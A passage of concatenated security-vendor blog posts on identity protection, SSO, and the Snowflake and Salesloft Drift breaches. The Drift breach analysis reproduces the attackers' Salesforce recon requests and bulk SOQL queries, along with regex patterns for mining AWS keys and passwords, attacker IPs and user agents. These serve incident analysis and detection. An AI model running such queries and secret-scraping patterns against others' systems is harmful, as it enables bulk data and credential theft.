Closing these doors significantly reduces the attacker's ability to progress through the identity attack flow, shrinking the window for compromise before detection and response.

How SlashID Helps

This section outlines how an identity-first defense model disrupts Scattered Spider's attack flow, and how SlashID detects and stops these attacks before they escalate into full-scale breaches.

Identity Visibility and Governance

Problem:

Attackers exploit helpdesk workflows, MFA resets, OAuth grants, and dormant access

How SlashID helps:

Unified identity graph across IdP, SaaS, cloud, and on-prem
Shadow SaaS and GenAI access visibility
Vishing prevention with TOTP verification

Authentication Abuse and MFA Manipulation

Problem:

MFA fatigue, MFA re-registration

How SlashID helps:

Behavioral detection for MFA changes and authentication method drift
One-click or automated remediation (enforce MFA, suspend users, rotate credentials)

Privilege Escalation, Persistence and Lateral Movement

Problem:

Over-privileged roles, OAuth abuse
SSO-based lateral movement across SaaS

How SlashID helps:

Detection of permission drift and risky OAuth 2.0 grants
Identification of newly privileged users and service accounts
Behavioral anomaly detection across the identity graph
Shadow SaaS discovery to identify unsanctioned access expansion

Detection, Response, and Operational Speed

Problem:

Attacks succeed because detection is delayed

How SlashID helps:

500+ built-in detections across your identity graph—no custom rules needed
Native SIEM/SOAR integrations
Connected view of users, non-human identities, and AI agents across environments
Compliance-ready reporting (SOC 2, ISO 27001, PCI-DSS, and more)

Conclusion

Scattered Spider represents a new era of identity-centric attacks where adversaries don't need to exploit vulnerabilities—they simply log in using stolen or manipulated credentials. Defending against these threats requires a shift from traditional perimeter security to identity-first security models that provide visibility, detection, and rapid response across the entire identity attack surface.

If you're looking to strengthen your defenses against identity-based attacks, contact SlashID to learn how our platform can help protect your organization.

Authenticate your Shopify customers with SlashID

Ivan Kovic, Vincenzo Iozzo — Tue, 25 Jul 2023 00:00:00 GMT

Drive repeat business, reduce friction

Successfully identifying your customers is key to repeat business, personalizing shopping experiences, and effective multi-channel marketing.

However, complex checkouts and password requirements are two of the top reasons for increased cart abandonment rate.

Simplifying the checkout process and using passwordless login can retain customer data for personalization and reduce cart abandonment, improving the user experience and boosting account creation conversion rates by up to 54%.

By default, Shopify provides a login form where your customers can sign up or sign in using email and password. It is not possible to easily integrate users across multiple channels or platforms (e.g., your own marketing website).

By adding SlashID Login to your Shopify store, your customers will be able to login to your store without having to create and remember passwords for an effortless shopping experience. We support all passwordless authentication methods like passkeys, social login, SMS and email links.

Control UX and branding

The SlashID login form is entirely configurable so you can choose which authentication methods to enable for your customers.

Additionally, you can customize the look and feel of the SlashID login form directly from the Shopify admin panel. This includes setting the color palette, logo, font family and text content to match your brand.

Try out the SlashID Login app:

Get a free SlashID account from our website
Install the SlashID Login app from the official Shopify store and configure it using our step by step guide

One login and user base across all your channels and products

The SlashID Login app is built on top of SlashID user tokens, which are exchanged for Shopify Multipass tokens in the background. This allows you to use SlashID’s login across all your platforms, storefronts and webapps, so your customers can navigate between your own websites and your Shopify store without having to authenticate multiple times.

Without the hassle of repeated logins, your customers will benefit from the enhanced user experience with seamless transitions and continuity across different systems. It improves convenience, saves time, and reduces friction, ultimately resulting in higher customer satisfaction and engagement while maintaining a unified brand experience.

Add workflows and organizations to your Store

Through the SlashID Login App you can leverage modern features like Webhook and Organizations to customize the user journey, create complex users structures and orchestrate analytics and marketing workflows.

Try it out!

Give your customers the smoothest login experience with the SlashID Login app. Eliminate account recovery friction with passkeys and social logins, customize the SlashID login form with your branding and allow seamless transitions between your own platform and Shopify.

Ready to get started with SlashID? Get a free account here!

Is there a feature you’d like to see, or have you tried out the SlashID Login app and have some feedback? Let us know!

Social logins in 5 minutes or less

Ivan Kovic, Vincenzo Iozzo — Tue, 01 Nov 2022 00:00:00 GMT

Introduction

Single Sign-On (SSO) is a popular choice amongst both services and users, increasing the service’s confidence in the user’s identity, and reducing the number of login credentials that users have to manage. You can now integrate SSO from third-party identity providers (IdPs) into your frontend with just a few lines of code using the /id SDK, and immediately start using additional features from /id.

Social logins can significantly boost user registration, for instance Pinterest reported a 47% registration increase after adding Google One Tap to their website.

A primer on SSO

What is SSO and how does it work? SSO involves a user granting your service access to their identity information held by a third party IdP, such as Google, Apple, or Facebook. Your service can then retrieve this information and use it to build a user profile, which can be enriched with internal data you collect. This means you can immediately personalize your UX to the user based on the existing information, and you can have greater confidence in the user’s identity. From the user perspective, they use their existing credentials (e.g., Google account), and can continue to log in to your service with those same credentials, reducing friction and minimizing the number of accounts that they must track.

There are multiple standards for implementing SSO. /id supports OpenID Connect (OIDC), a standard for authentication built on top of OAuth 2.0. OIDC is supported by many popular IdPs. In brief, OIDC works as follows:

You register your app with the IdP and obtain a client ID and secret
When a user wants to use SSO, you call an API exposed by the IdP with your client ID
The user is prompted to log in with the IdP
Your service receives an authorization code
Your service exchanges the authorization code with the IdP for identity and access tokens, authenticated with the client secret
The identity token is a JSON Web Token (JWT) that includes information about the user; the access token can be used subsequently to retrieve user information from the IdP, within the scopes that the user allowed.

With /id, you simply need to provide us with the client ID and secret, and call a single method from our SDK; we take care of the rest and return the tokens.

SSO in 5 minutes or less

We will use Google as an example. First, you need to obtain a client ID and client secret from Google - our dedicated guide provides step-by-step instructions on how to do this. Once you have these OAuth2 credentials, enabling SSO with SlashID requires just two steps.

The first is to register the OAuth2 credentials through the SlashID APIs:

curl --location --request POST 'https://api.sandbox.slashid.com/organizations/sso/oidc/provider-credentials' \
--header 'SlashID-OrgID: <YOUR ORG ID>' \
--header 'SlashID-API-Key: <YOUR API KEY>' \
--header 'Content-Type: application/json' \
--data-raw '{
    "client_id": "<CLIENT ID>",
    "client_secret": "<CLIENT SECRET>",
    "provider": "google",
    "label": "A label for this set of credentials"
}

The second is to invoke the .id() method from your frontend as follows:

// In a module script
import * as slashid from '@slashid/slashid'

const org_id = 'my_org_id' // organization ID, provided on registration with /id
const clientId = 'my.client.id' // client ID from the IdP
const provider = 'google' // the identity provider to authenticate with

const sid = new slashid.SlashID({ oid: org_id })

let user = await sid.id(org_id, null, {
  method: 'oidc',
  options: {
    client_id: clientId,
    provider: provider,
    ux_mode: 'popup',
  },
})

By default SlashID will use a pop-up to prompt the user to login, but you can also decide to use a redirect flow instead. To do so, set ux_mode to ”redirect” and add an event listener to your webpage like the following:

addEventListener('load', async (event) => {
  let user = await sid.getUserFromURL()
  console.log('Retrieved user from URL', { user })
})

You can optionally set redirect_target to change the URL to redirect to after the flow is complete, by default it is the current page.

Behind the scenes, the /id SDK and backend will carry out the OIDC flow with the IdP using the credentials matching the client ID provided. If you set UX mode to popup, the SDK will return a User object, which is a /id token. If set to redirect, the URL specified will be loaded, with an additional URL query parameter appended. You can then use the getUserFromURL SDK method to obtain the User object.

In both cases, the User object represents a signed JWT that contains both a /id user token and the OIDC tokens from the IdP.

That’s it!

Conclusion

SSO is a great tool to increase user registration as part of the onboarding process. While there’s a lot of complexity behind OIDC and OAuth 2.0, our aim at SlashID is to handle that complexity for you so you quickly experiment with new features and new onboarding flows.

Please reach out to us if there’s a specific SSO provider you’d like us to support.

Single Sign-On implementation: Safely retrieving the email claim

Joseph Gardner, Vincenzo Iozzo — Thu, 18 Jan 2024 00:00:00 GMT

Introduction

As discussed in a previous blog post several high profile websites such as Booking.com, Kayak, and Grammarly have been affected by various issues relating to OpenID Connect (OIDC).

One of the most common is the use of the email claim as a stable identifier when authenticating a user.

In this blog post we'll discuss why this happens and how to do it safely when implementing SSO.

The origin of the issue

The OIDC specification clarifies that the only authoritative claims a resource server such as Google can provide are the sub (Subject) and iss (Issuer) claims. In particular, the spec states that the sub must be locally unique and never reassigned within the OIDC Server/Issuer to a different user.

However, most issuers also include an email claim in their ID tokens and many relying parties (RPs) use the email address as a valid, unique claim. This happens for two reasons:

Most companies want to associate an email address with a user, so taking advantage of the email claim decreases friction during sign-up
As for many complex protocols, very few developers read the full specification before implementing it

In this scenario what normally happens is that an account is created (or a user is authenticated into an account) in the RP server based on the email claim.

The cost of getting it wrong

The ultimate issue here is the ability for an attacker to take over a victim's account. Several examples of this have been shown in the wild, in the last year:

Flickr using AWS Cognito: In this case an attacker could overwrite the email attributes on his account and impersonate another user since Flickr didn't check the verified field.
All apps using Sign-in with Microsoft until June 2023: In this case an attacker could create a fake tenant with an unverified email, impersonating any user and ultimately taking over the account in the vulnerable application.

The status of the email claim by provider

Fortunately, a number of high profile identity providers (IdPs) provide ways to check the validity of an email for a user. Let's see a few examples.

Google

Google exposes an API to fetch the email address. The API documentation says that the email field in the response is the Google user's primary email address, which is always verified.

Microsoft

Microsoft has recently introduced a an optional claim xms_edov (Email Domain Owner Verified) in the ID Token that indicates whether an email claim contains a domain-verified email address.

Further, and more safely, it is possible to use the removeUnverifiedEmailClaim flag in the Graph APIs.

Okta

Okta provides an API to retrieve the email of a logged-in user, and the response includes an email_verified value.

Apple

Apple includes an email_verified claim in the ID token returned via OIDC.

Github

You can retrieve the email through the Github API using the access token obtained via OIDC, and the response body contains the fields primary and verified.

Gitlab

You can retrieve the email through the Gitlab API using the access token obtained via OIDC, but the response body does not contain an email_verified field.

Further, the Gitlab docs indicate that users may not always verify email addresses.

Bitbucket

You can retrieve the email through the Bitbucket API using the access token obtained via OIDC. The response body contains two fields: is_primary and is_confirmed.

However, the Bitbucket API does not contain any reference to these fields, so it's difficult to confirm exactly what these fields mean.

LINE

It is possible to retrieve the email by sending the ID token to the token verification endpoint, which returns the email. However there's no equivalent email_verified claim, and the LINE docs do not explicitly say one way or the other if emails are verified.

Facebook

You can retrieve the email through the Facebook API using the access token obtained via OIDC, if the user has an email address, which is not always the case with Facebook.

The response doesn't contain an email_verified field. The Facebook developer docs do not explicitly say if emails are verified, but the Facebook user-facing docs say that emails are verified at sign-up and when emails are added to a profile.

Conclusion

As the OIDC protocol specification states, ultimately it is unsafe to rely on the Issuer to verify the email of a user. If your application requires a high-level of assurance we recommend only relying on the sub field and independently verifying the user's email address.

If you are interested in implementing SSO securely, get a free account here or reach out to us!

Protecting against Snowflake breaches

Vincenzo Iozzo, SlashID Team — Mon, 15 Jul 2024 00:00:00 GMT

Introduction

In the last few weeks, numerous Snowflake customers experienced very significant data breaches.

All the breaches were attributed to compromised credentials and the lack of multi-factor authentication (MFA) among customers.

The attackers utilized stolen credentials from various infostealer malware to gain access to sensitive data. High-profile companies such as Ticketmaster, Santander, Advance Auto Parts, and, most recently, AT&T were affected. The attackers believed to be the ShinyHunters group, are one of the more prolific groups involved in several high-profile breaches over the years.

Let's dig deeper into Snowflake and how to prevent these breaches in the future.

The Snowflake identity model

Snowflake has 3 key identity and access concepts that form the backbone of IAM.

Roles: They define a set of permissions that determine what actions a user or a group of users can perform within the Snowflake environment. Roles can be organized in a hierarchical manner, where roles can inherit permissions from other roles
Users: Users in Snowflake represent individuals or entities that need access to Snowflake's resources. Crucially, users can be used as "service accounts" through passwords and RSA key pairs.
Service Integration: These represent integration with third-party systems, either via OAuth 2.0 or API keys. This is also how a Snowflake instance can be provisioned through a third-party IdP.

Notably, Snowflake natively supports only the following authentication methods for a User:

Password
RSA keys
MFA via Duo

As discussed, from what is publicly known, all the breaches in the past few months show the same pattern: the attacker ran a credential-stuffing attack against Snowflake instances that weren't protected by RSA.

Note, however, that this is the low-hanging fruit. More sophisticated attackers could target MFA-enabled accounts through AITM, MFA Fatigue, and several other attacks.

How can SlashID help

As we discussed in our previous article on NHI - at SlashID we believe that the Identity Security maturity model should follow a familiar pattern we have seen in endpoints and other security areas:

Visibility
Detection
Remediation
Prevention

Towards this end, we are happy to announce support for Snowflake in our Identity Security product.

Through SlashID you can:

Visualize and collect all roles, users, and service integrations for all your Snowflake instances
Detect identity-based attacks or lateral movement
Prevent and remediate by rotating credentials and dropping privileges

In particular, SlashID can detect several attack patterns, including:

The provisioning of malicious users or integrations
Credential stuffing attempts
Authentication attempts from malicious or suspicious IP addresses, times of the data, and locations
Overprivileged accounts
Stale accounts and credentials

Beyond detections, SlashID can help rotate credentials, suspend/block users, turn on MFA, and, update roles.

Conclusion

Snowflake contains some of the most sensitive user data a company has and it's a very complicated system to secure properly, reach out to us to see how SlashID can help secure your Snowflake instances.

Access tokens strike again, the Salesloft Drift breach

SlashID Team, Vincenzo Iozzo — Sun, 21 Sep 2025 00:00:00 GMT

Summary

In mid‑August 2025, the Google Threat Intelligence Group (GTIG) confirmed a large‑scale credential‑harvesting and data‑theft campaign targeting organizations through their Salesforce instances. Attackers systematically siphoned sensitive business data (Accounts, Cases, Users, Opportunities), actively searched for secrets like AWS keys and Snowflake tokens, and leveraged Tor exit nodes to obfuscate their operations.

The campaign, attributed to UNC6395, leveraged stolen OAuth tokens from the trusted third‑party application Salesloft Drift, pivoting across multiple integrations and exfiltrating sensitive corporate data. This supply‑chain attack didn’t target Salesforce directly.

Instead, attackers compromised the Drift chatbot and hijacked its authorized access to third-party victims by abusing long‑lived, overly permissive, and poorly scoped OAuth tokens, exactly the scenario we warned about in our Illicit Consent‑Granting post.

This breach is a textbook example of that scenario becoming reality. See: Illicit Consent‑Granting & App Backdooring – Obtaining persistence in Entra.

The breach unfolded in several layers:

Initial compromise of Drift OAuth tokens.
Mass querying of Salesforce objects (Account, Case, User, Opportunity).
Harvesting of embedded secrets (AWS keys, Snowflake tokens, VPN URLs).
Lateral expansion into Drift Email → Google Workspace accounts.

This post reconstructs the attack flow, maps the campaign against the MITRE ATT&CK framework, and outlines detection + defense measures enterprises must take immediately.

The incident highlights the danger of over-permissive SaaS integrations and the critical need to restrict OAuth access.

Why does this matter?

Salesforce is often the single source of truth for customer data: opportunities, revenue pipelines, support cases, and executive contact info. Compromise here is devastating. Worse, Salesforce often becomes a secret graveyard: API keys pasted into case notes, passwords sent between reps, Snowflake tokens shared for quick data pulls.

UNC6395 understood this perfectly. By querying Salesforce and systematically pulling records, the attackers weren’t just after names and emails — they were after the secret keys to the kingdom, access tokens. And by leveraging OAuth, they bypassed the usual controls: no phishing, no MFA prompts, no password brute‑forcing, no anomalous login attempt detection. Just a token.

An estimated 700 companies were affected, including major tech organizations such as Cloudflare, Zscaler, and Palo Alto Networks. While the initial focus was Salesforce, GTIG later warned that other platforms connected via Drift—including Google Workspace, Slack, AWS, Microsoft Azure, OpenAI, and Amazon S3—might also be compromised.

A few takeaways that stand out:

To our knowledge, no exploits were used at any point.
Attackers leveraged valid tokens that typically don’t create new login events in audit logs, evading many auth/login‑related detections.
Much of the activity came from reputable cloud infrastructure, making IP‑reputation‑based detections significantly harder.
Drift isn’t unique here: many OAuth 2.0 apps are over‑permissioned because available scopes aren’t fine‑grained enough.

Overall, this breach underscores a newer, stealthier class of SaaS‑to‑SaaS intrusions—harder to spot than traditional endpoint/CSP incidents and covered by far fewer SOC detection capabilities.

What is Drift, and what does it have access to

Drift is a conversational AI product that has extensive capabilities for Salesforce, including:

Create and update Leads in SFDC that originate in Drift
Create and update Contacts in SFDC that originate in Drift
Send chat activity from Drift to SFDC
Send meetings booked in Drift to SFDC

As a result, Drift requests extensive permissions in Salesforce. In particular, a Drift integration can do the following:

Salesforce Object	Object Permissions	Field Permissions	Field Name
Accounts	Read, View All	Read	Account Name
Accounts	Read, View All	Read	Type
Accounts	Read, View All	Read	Website
Campaigns	Read, View All	Read	Campaign Name
Cases	Read, Create, Edit, View All	Read, Edit	Account Name
Cases	Read, Create, Edit, View All	Read, Edit	Case Origin
Cases	Read, Create, Edit, View All	Read, Edit	Contact Name
Cases	Read, Create, Edit, View All	Read, Edit	Description
Cases	Read, Create, Edit, View All	Read, Edit	Subject
Contacts	Read, Create, Edit, View All	Read, Edit	Account Name
Contacts	Read, Create, Edit, View All	Read, Edit	Email
Contacts	Read, Create, Edit, View All	Read, Edit	Lead Source
Contacts	Read, Create, Edit, View All	Read, Edit	Mailing Address
Contacts	Read, Create, Edit, View All	Read, Edit	Name
Events	N/A	Read, Edit	Assigned To
Events	N/A	Read	Created By
Events	N/A	Read	Last Modified By
Events	N/A	Read, Edit	Name
Events	N/A	Read, Edit	Related To
Events	N/A	Read, Edit	Type
Leads	Read, Create, Edit, View All	Read, Edit	Address
Leads	Read, Create, Edit, View All	Read, Edit	Email
Leads	Read, Create, Edit, View All	Read, Edit	Lead Source
Leads	Read, Create, Edit, View All	Read, Edit	Name
Opportunities	Read, View All	Read	Account Name
Opportunities	Read, View All	Read	Amount
Opportunities	Read, View All	Read	Primary Campaign Source
Opportunities	Read, View All	Read	Type
Tasks	N/A	Read, Edit	Assigned To
Tasks	N/A	Read, Edit	Comments
Tasks	N/A	Read, Edit	Due Date
Tasks	N/A	Read, Edit	Name
Tasks	N/A	Read, Edit	Related To
Tasks	N/A	Read, Edit	Type

Given the extensive permissions, it is no wonder that Drift makes for a perfect target for an attacker

Attack Flow

High‑level sequence:

Compromise trusted third‑party (Drift) and harvest OAuth tokens.
Authenticate to Salesforce via valid tokens; enumerate and bulk‑query core objects.
Mine embedded secrets from exports; operationalize access to cloud/data platforms.
Pivot via Drift Email into scoped Google Workspace accounts; expand blast radius.

This breach didn’t target Salesforce directly. Instead, attackers compromised a trusted third-party integration, Salesloft’s Drift chatbot, and hijacked its authorized access to downstream systems. This is a supply-chain style compromise where OAuth trust relationships become the weakest link.

That’s exactly what makes this a devastating supply-chain attack: one vulnerable integration triggered a cascade across hundreds of organizations.

One vulnerable integration triggered a cascade across hundreds of organizations — a classic supply‑chain failure of OAuth trust relationships.

A similar supply‑chain heist (Bybit, Feb 2025)

A comparable attack in February 2025 led to one of the largest crypto heists: ~400,000 ETH were stolen from Bybit after attackers compromised its trusted provider Safe{Wallet} by infiltrating a developer environment with stolen AWS session tokens. UI manipulation tricked signers into approving a malicious transaction that redirected funds to attacker wallets. The pattern: trusted third‑party → stolen tokens → authorized abuse.

Tools in the attacker’s toolbox

Stolen OAuth tokens
Standard Salesforce SOQL queries
Tor for anonymity
Automated fetchers (User‑Agents like Salesforce-Multi-Org-Fetcher/1.0, python-requests/2.32.4)

MITRE ATT&CK Mapping

T1528 – Steal Application Access Token
T1078 – Valid Accounts
T1530 – Data from Cloud Storage
T1552 – Unsecured Credentials

Attack Lifecycle

Phase 1: Initial Access

Attackers obtained valid OAuth tokens from Drift. From Salesforce’s perspective, these were trusted, legitimate sessions—no exploits against Salesforce or Google required.

While early hypotheses pointed to phishing/social engineering, subsequent findings indicate a different root cause.

Mandiant’s investigation has since clarified that between March and June 2025, the threat actor accessed Salesloft’s GitHub account, where they downloaded repositories, added a guest user, and established workflows. This activity led to Drift’s AWS environment being accessed, which ultimately gave the attackers OAuth tokens for Drift customers’ integrations. So, this was how the Drift OAuth tokens were compromised.

Bottom line: the breach didn’t begin with Salesforce or Drift OAuth tokens — it began months earlier in GitHub, cascading into Drift OAuth abuse.

Phase 2: Salesforce Access & Data Harvesting

With tokens in hand, attackers started to perform recon in the environment. Based on the Cloudflare write-up on the incident, we know that the attackers would perform the following actions:

Send a GET request for a list of objects in the Salesforce tenant: /services/data/v58.0/sobjects/
Send a GET request for metadata information for case objects in the Salesforce tenant: /services/data/v58.0/sobjects/Case/describe/
A series of systematic SOQL queries:

SELECT COUNT() FROM Account;
SELECT COUNT() FROM Opportunity;
SELECT COUNT() FROM User;
SELECT COUNT() FROM Case;

They pulled full User tables, complete with emails, names, phone numbers, and login timestamps:

SELECT Id, Username, Email, FirstName, LastName, Name, Title, CompanyName, Department, Division, Phone, MobilePhone, IsActive,
       LastLoginDate, CreatedDate, LastModifiedDate, TimeZoneSidKey, LocaleSidKey, LanguageLocaleKey, EmailEncodingKey
FROM User
WHERE IsActive = true
ORDER BY LastLoginDate DESC NULLS LAST
LIMIT 20;

Phase 3: Secret Mining & Covering Tricks

After exfiltrating bulk Salesforce data, UNC6395 hunted for embedded credentials and tokens to extend the compromise beyond Salesforce.

Likely techniques:

Regex scrapers for known credential formats.
TruffleHog / Gitleaks‑style scans for entropy‑heavy strings, AWS patterns, API key regexes.

Common patterns:

AKIA[0-9A-Z]{16}                  # AWS Access Key
snowflakecomputing\.com           # Snowflake domain references
(password|secret|key)\s*[:=]      # Generic key-value credential markers

Once stolen, these secrets enable:

Cloud Compromise – AWS keys let attackers spin up EC2 instances, exfiltrate S3 buckets, or pivot into the broader cloud estate.
Data Warehouse Breaches – Snowflake tokens allow queries into sensitive analytics data.

Critically, attackers routinely weaponize cloud infrastructure itself once they gain valid access. For example, IP address 44.215.108.109, traced back to Amazon AWS (AS14618), but was flagged only by two vendors as “Malicious” or “Suspicious,”.

This show how attackers routinely expand their real estate:

AWS keys or cloud accounts can be abused to spawn disposable EC2 instances.
Those instances then act as staging servers for exfiltration or further attacks.
Because the traffic originates from “legitimate” AWS IPs, it often evades enterprise IP reputation blocks.

This example highlights the downstream impact of the Salesforce – Drift compromise: attackers weren’t just stealing data; they were turning secrets into infrastructure to sustain operations.

Phase 4: Expansion & Fallout — Drift Email → Google Workspace

UNC6395 didn’t stop at Salesforce. They realized that OAuth trust relationships through Drift could extend into other ecosystems — and the Drift Email integration was the next pivot.

Aug 9, 2025: Using compromised Drift OAuth tokens tied to Drift Email, attackers gained scoped access to a subset of Google Workspace accounts integrated with Drift (not domain‑wide; only explicitly connected accounts).
Aug 28, 2025: Google revoked affected OAuth tokens and disabled the Drift Email integration, cutting off this pivot.

(Bonus) Covering Tracks: Deleting Jobs... but Leaving Footprints

Attackers deleted query jobs after exfiltration to make it harder for incident responders to quickly see “large export jobs” or unusual query activity. To a casual admin, it would appear as if nothing abnormal was scheduled.

Even though the job objects were removed, the underlying event logs persisted. Salesforce logs record the fact that queries were run, including timestamps, User-Agent strings, and IP addresses. So while first-response visibility was degraded, forensic teams with log access could still reconstruct attacker activity.

What This Tells Us About UNC6395?

They’re operationally mature: not smash-and-grab amateurs.
They assumed many orgs don’t actively parse or monitor Salesforce logs in real time.
Their tactic was “slow down the defenders, not stop them entirely.”

What this tells us about UNC6395

Operationally mature—far from smash‑and‑grab.
They assume many orgs don’t parse Salesforce logs in real time.
Their tactic: slow down defenders rather than stop visibility entirely.

Locking the doors — lesson learned

Unlike passwords, tokens are invisible to users and bypass MFA. Without strict monitoring and short lifespans, they become a silent backdoor into cloud systems.

Response Actions

Immediate Response (Google)

Revoke all Drift OAuth tokens
Rotate all Salesforce API keys, AWS keys, Snowflake tokens
Disable Drift integration

Response (Salesloft + Mandiant)

Took Drift offline and rotated credentials.
Hardened the Salesloft environment against observed TTPs.
Verified Drift–Salesloft segmentation to ensure no lateral compromise.
Conducted forensic QA to confirm containment.

Long‑Term Hardening

Reduce session lifespans for OAuth tokens.
Treat OAuth tokens like privileged accounts; monitor and protect them accordingly.
Rotate refresh tokens regularly; prefer short‑lived tokens with tight scopes.
Review all third-party integrations and their permissions

Detection in Practice: Spotting Unusual SOQL Queries

Attackers relied on mass SOQL to exfiltrate at scale. Normal integrations fetch dozens/hundreds of records—not tens of thousands.

SELECT EventType, CreatedDate, UserId, RowsProcessed, RowsReturned, ClientIp, USER_AGENT
FROM EventLogFile
WHERE EventType = 'API'
AND RowsReturned > 10000
AND CreatedDate = LAST_N_DAYS:7

Defender actions:

Monitor Salesforce EventLogFile for abnormal query volumes, unusually broad SELECT queries, and high‑rate API access.
Alert on atypical User‑Agents and authentication from Tor/AWS IP ranges.
Correlate spikes in queries with token issuance/refresh events from Drift.

Indicators of Compromise (IOCs)

Malicious / Suspicious User‑Agents

Salesforce-Multi-Org-Fetcher/1.0
Salesforce-CLI/1.0
python-requests/2.32.4
Python/3.11 aiohttp/3.12.15

Observed IPs

44.215.108.109 (AWS)
208.68.36.90 (DigitalOcean)
Multiple Tor exit nodes (e.g., 185.220.x.x, 192.42.x.x)

Conclusion

OAuth trust relationships can become the weakest link in cloud ecosystems. UNC6395 exploited Drift’s access to quietly drain Salesforce data and weaponize embedded secrets, then pivot into connected platforms.

Do now:

Revoke/rotate tokens and keys; disable unnecessary integrations.
Shorten token lifetimes; tighten scopes; treat tokens as high‑privilege credentials.
Continuously monitor Salesforce logs for bulk queries, unusual User‑Agents, and suspicious IPs.
Review all third-party integrations

Identity is the new perimeter.

The good, the bad and the ugly of Apple Passkeys

Vincenzo Iozzo, SlashID Team — Fri, 23 Sep 2022 00:00:00 GMT

Read up on Passkeys adoption trends in Top 50 websites.

Or take a look at an example app using SlashID to implement Passkeys and WebAuthn on GitHub or a live demo.

How do passkeys work?

The Fast IDentity Online (FIDO) alliance together with a number of tech companies and the World Wide Web Consortium (W3C) have been developing ways to add public-key cryptography to browsers for several years. From that effort, the WebAuthn standard was born.

As we discussed extensively in this blog, WebAuthn allows users to authenticate to a remote server by proving ownership of a private key stored in a Roaming Authenticator (e.g., a Yubikey, a Titan key) or a Platform Authenticator (e.g., the built-in keychain on Apple devices). Multi-device FIDO credentials, also known as passkeys, extend the Platform Authenticator concept to allow the import/export of private keys from one device to another.

How that operation is performed is highly dependent on the vendor; in this post we'll focus on Apple.

Passkeys According To Apple

The good

The obvious advantage of passkeys is the improved user experience.

Besides UX, passkeys also preserve the anti-phishing properties of WebAuthn which from a secuirty standpoint is the most important feature of the standard.

The WebAuthn standard is by far the most credible attempt to make passwords obsolete and passkeys are a key step in that direction. In fact, the main obstacle to widespread WebAuthn adoption has been the issue of porting credentials from one device to another and passkeys are a solution to that.

The bad

The primary disadvantage of passkeys is that their security profile is significantly weaker than a traditional, hardware-bound, Platform Authenticator- or Roaming Authenticator-generated keypair.

If we take an iOS device as an example, before passkeys, a platform authenticator key would normally be stored in Apple’s Secure Enclave. The Secure Enclave is a dedicated secure subsystem that is isolated from the main processor and is designed to keep sensitive data secure even when the kernel becomes compromised. When the platform authenticator key is stored in the Secure Enclave, two things happen:

The private key is tied to that device and cannot be exported or recovered if the device is lost
Access to the private key is gated by biometric verification, such as TouchID or FaceID.

These two security safeguards are lost with passkeys, because, despite being stored in the Secure Enclave, the private key is exported to iCloud and hence its strength is only as good as the iCloud recovery process.

The ugly

iOS 16 makes it impossible to use device-bound WebAuthn keys, effectively downgrading WebAuthn security on Apple devices to an AppleID reset flow.

Further, it is not possible to perform attestation of the authenticator. This, among other things, makes device verification harder and prevents novel applications of WebAuthn such as getting rid of CAPTCHAs.

Apple’s stance on the topic seems to be that since the key can be moved to other devices, it doesn’t make sense to provide an AAGUID or an attestation statement.

While the statement is technically accurate, the lack of an attestation statement means that you can't prove the key has been stored, or even generated, safely because you can't infer properties/provenance of the authenticator.

The technical details

What do passkeys look like compared to traditional Platform Authenticator keys?

Let’s examine what happens when a new credential is created through navigator.credentials.create() and the browser returns a PublicKeyCredential object.

This object contains one important structure: the attestationObject. The attestationObject is a CBOR-encoded blob containing data about the attestation. This data is what allows a relying party to verify the chain of trust of the authenticator. Whether this data is present or not depends on whether the navigator.credentials.create() function was called with an attestation parameter.

To compare Apple changes versus the standard, let’s first look at Chrome.

This is what an attestationObject looks like for a key generated via Chrome:

b'{"type":"webauthn.create","challenge":"mKuoQhqah7SLIxbinNzgu1jgzRGa0V0i_0Bw3WnSi3U","origin":"http://localhost:5000","crossOrigin":false,"other_keys_can_be_added_here":"do not compare clientDataJSON against a template. See https://goo.gl/yabPex"}'
format: packed
attStmt: {   'alg': -7,
  'sig': b'0F\x02!\x00\xed6\xea\x12\xbao\x80\xf8\xd9Z\xae@\x1bu\xb0`\xb2O\x81'
         b'\x94H\x0bcv\xd9\xe3\x8c\x8cKR\x1a\xbc\x02!\x00\xc2\xa4\xbd!'
         b'\xbc=\xab\xa0\x1c\xac\xfd`\xeb\xf4\xcb\n\xc2}\x84\xb8\x1d$oE'
         b'\xf3\xc3\t\xd4\xffJu\xd3'}
{   'attestedCredData': {
              'aaguid': b'\xad\xce\x00\x025\xbc\xc6\nd\x8b\x0b%'
              b'\xf1\xf0U\x03',
              'credentialId': b'\x8c\xdf\x99\xb6b\x13I\xd1'
                              b'\x9e\x83\x04lT\x04\x84=_)|\x96'
                              b'I\xf5\xb5\\8r\xeb\xb8\x9f=\xc6N'
                              b'\xa7Lz-\xb4\xe7\xca\x8c'
                              b'\xaa\xc7\xa5{]\x06i\x9f'
                              b'{\xb6\xe1\x9d\xf0\xa0]\t'
                              b'>G\xbc\x900\xcca(\x86\xbc\x07\x97',
              'credentialIdLength': 68,
              'credentialPublicKey': {
                  'alg': 'ecc',
                  'eccurve': 'P256',
                  'key': <cryptography.hazmat.backends.openssl.ec._EllipticCurvePublicKey object at 0x104b3fbe0>,
                  'kty': 'ECP',
                  'x': b'\xa1\x97\xb4\xd3'
                      b'd\x87&\xbf'
                      b'\x8di\xb0\xfa'
                      b'{\xb9\x0b\x13'
                      b':\xc8b\xf3'
                      b'\xfa3G\xcd'
                      b'\xdf\x08Z\xd7'
                      b'\x00\xd0-\xda',
                  'y': b'<\xd6\x93\x0c'
                      b']\x1f\x8f\xc0'
                      b'\x80\xcb\x16\x0f'
                      b'c\x19EN'
                      b'y\xae\x18\x87{plw'
                      b'X\xd59^iK\xa4\xc0'}},
  'flags': {   'attestedCredDataIncluded': True,
               'extensionDataIncluded': False,
               'userPresent': True,
               'userVerified': True},
  'flagsRaw': 69,
  'rpIdHash': b'I\x96\r\xe5\x88\x0e\x8cht4\x17\x0fdv`[\x8f\xe4\xae\xb9'
              b'\xa2\x862\xc7\x99\\\xf3\xba\x83\x1d\x97',
  'signCount': 0}

This is the attestationObject on newer versions of Safari instead:

b'{"type":"webauthn.create","challenge":"mKuoQhqah7SLIxbinNzgu1jgzRGa0V0i_0Bw3WnSi3U","origin":"http://localhost:5000"}'
format: none
attStmt: {}
{   'attestedCredData': {
              'aaguid': b'\x00\x00\x00\x00\x00\x00\x00\x00'
               b'\x00\x00\x00\x00\x00\x00\x00',
              'credentialId': b'\xf6(\xdb5\x97^\xf9|T\x1c:\x14'
                              b'\xce\x95\x844\x19v+\x97',
              'credentialIdLength': 20,
              'credentialPublicKey': {
                  'alg': 'ecc',
                  'eccurve': 'P256',
                  'key': <cryptography.hazmat.backends.openssl.ec._EllipticCurvePublicKey object at 0x104bef250>,
                  'kty': 'ECP',
